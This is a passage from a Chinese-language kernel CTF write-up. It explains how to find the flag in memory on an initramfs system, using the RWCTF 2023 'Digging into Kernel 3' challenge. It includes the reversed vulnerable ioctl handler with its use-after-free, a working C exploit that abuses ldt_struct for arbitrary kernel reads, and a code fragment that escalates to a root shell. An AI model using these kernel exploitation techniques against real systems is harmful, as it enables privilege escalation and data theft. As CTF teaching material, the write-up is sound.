    //         for (;;) {
    //             ioctl(fd, ALLOC, 0);
    //             ioctl(fd, SELECT, 0);
    //             ioctl(fd, FREE, 0);
    //             modify_ldt(WRITE_LDT, &desc, sizeof(desc));
    //             write(pipefd[WRITE_PIPE], &flag, sizeof(flag));
    //             read(pipefd2[READ_PIPE], &flag, sizeof(flag));
    //         }
    //     }
    // }
    // else {
    //     for (;;) {
    //         read(pipefd[READ_PIPE], &flag, sizeof(flag));
    //         flag = getuid();
    //         if (flag)
    //             write(pipefd2[WRITE_PIPE], &flag, sizeof(flag));
    //         else {
    //             setreuid(0, 0);
    //             getRootShell();
    //         }
    //     }
    // }
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}

如果题目使用的文件系统是 initrd 或者 initramfs, 那么可以直接在内存中搜 flag. initrd / initramfs 是一种 ram disk, 内核启动时会将文件系统加载到直接映射区中, 然后把这一块当作文件系统.

所以如果有任意地址读, 并且题目用的是 initrd / initramfs, 那么可以直接搜 flag. 下面以被 a3 暴锤的 2023 Real World CTF 体验赛 Digging into Kernel 3 为例.

qemu 启动脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/bin/sh

qemu-system-x86_64 \
  -m 128M \
  -nographic \
  -kernel ./bzImage \
  -initrd ./rootfs.img \
  -enable-kvm \
  -cpu kvm64,+smap,+smep \
  -monitor /dev/null \
  -append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \
  -no-reboot \
  -snapshot \
  -s

开启 smap, smep, kaslr, kpti. 可以看到, 加载文件系统用的选项是 -initrd.

init:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/sh

mkdir /tmp 
mount -t proc none /proc 
mount -t sysfs none /sys 
mount -t devtmpfs none /dev 
mount -t tmpfs none /tmp 

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /rwctf.ko
chmod 666 /dev/rwctf
chmod 700 /flag
chmod 400 /proc/kallsyms

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

poweroff -d 120 -f &

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds" 
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /sys
umount /tmp

poweroff -d 0 -f

安装 rwctf.ko 模块到 /dev/rwctf, 禁用 kallsyms 和 dmesg.

rwctf.ko 只实现了 ioctl, 稍微逆一下参数结构体是:

1
2
3
4
5
6
struct arg_t
{
  uint idx;
  uint size;
  void *buf;
};

ioctl 逆完是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall rwmod_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // r12
  __int64 idx; // rbx
  __int64 v6; // rdi
  arg_t v7; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v8; // [rsp+18h] [rbp-18h]

  v8 = __readgsqword(0x28u);
  if ( !a3 )
    return -1LL;
  if ( a2 == 0xC0DECAFE )
  {
    if ( !copy_from_user(&v7, a3, 16LL) && v7.idx <= 1 )
      kfree(buf[v7.idx]);
    return 0LL;
  }
  v3 = -1LL;
  if ( a2 == 0xDEADBEEF )
  {
    if ( copy_from_user(&v7, a3, 16LL) )
      return 0LL;
    idx = v7.idx;
    if ( v7.idx > 1 )
      return 0LL;
    buf[idx] = _kmalloc(v7.size, 3520LL);
    v6 = buf[v7.idx];
    if ( !v6 )
      return 0LL;
    if ( v7.size > 0x7FFFFFFFuLL )
      BUG();
    if ( copy_from_user(v6, v7.buf, v7.size) )
      return 0LL;
  }
  return v3;
}

0xDEADBEEF 能够申请堆块并写入, 0xC0DECAFE 释放堆块, 但是没将指针置零. 堆块一共两个.

单看模块的功能无法 UAF, 但是我们可以先申请然后释放, 这样 buf 指针和 freeilst 里都有这个块. 然后在模块外申请到该堆块, 再用 UAF 释放掉, 最后再重新申请就可以 UAF 写了.

可以看到, 这里的大小是任意的, 有 UAF 写没有 UAF 读. 这题的做法其实多种多样. 利用 read_ldt() 直接开搜的 exp 如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#define ALLOC 0xDEADBEEF
#define FREE  0xC0DECAFE
#define WRITE_LDT 1
#define READ_LDT  0
#define READ_PIPE 0
#define WRITE_PIPE 1

struct arg_t {
    uint idx;
    uint size;
    size_t *buf;
};

size_t page_offset_base = 0xffff888000000000;
const size_t step = 1ull << 30;

int modify_ldt(int func, void *ptr, unsigned long bytecount) {
    return syscall(SYS_modify_ldt, func, ptr, bytecount);
}

void pwn() {
    int fd = open("/dev/rwctf", O_RDWR);
    struct arg_t arg;
    arg.idx = 0;
    arg.size = 0x10;
    arg.buf = malloc(0x10);

    struct user_desc desc;
    memset(&desc, 0, sizeof(desc));
    desc.entry_number = arg.buf[1] = 8191;

    ioctl(fd, ALLOC, &arg);
    ioctl(fd, FREE, &arg);
    modify_ldt(WRITE_LDT, &desc, sizeof(desc));

    for (;;) {
        arg.buf[0] = page_offset_base;
        ioctl(fd, FREE, &arg);
        ioctl(fd, ALLOC, &arg);
        size_t tmp;
        if (modify_ldt(READ_LDT, &tmp, sizeof(tmp)) > 0)
            break;
        page_offset_base += step;
    }
    printvar(success, "page_offset_base", page_offset_base);

    arg.buf[0] = page_offset_base;
    int buf_size = 0x10000;
    size_t *buf = calloc(buf_size, 1);
    for (;;) {
        ioctl(fd, FREE, &arg);
        ioctl(fd, ALLOC, &arg);
        if (!fork()) {
            modify_ldt(READ_LDT, buf, buf_size);
            char *p = memmem(buf, buf_size, "rwctf{", 6);
            if (p)
                puts(p);
            return;
        }
        wait(NULL);
        arg.buf[0] += buf_size;
    }
}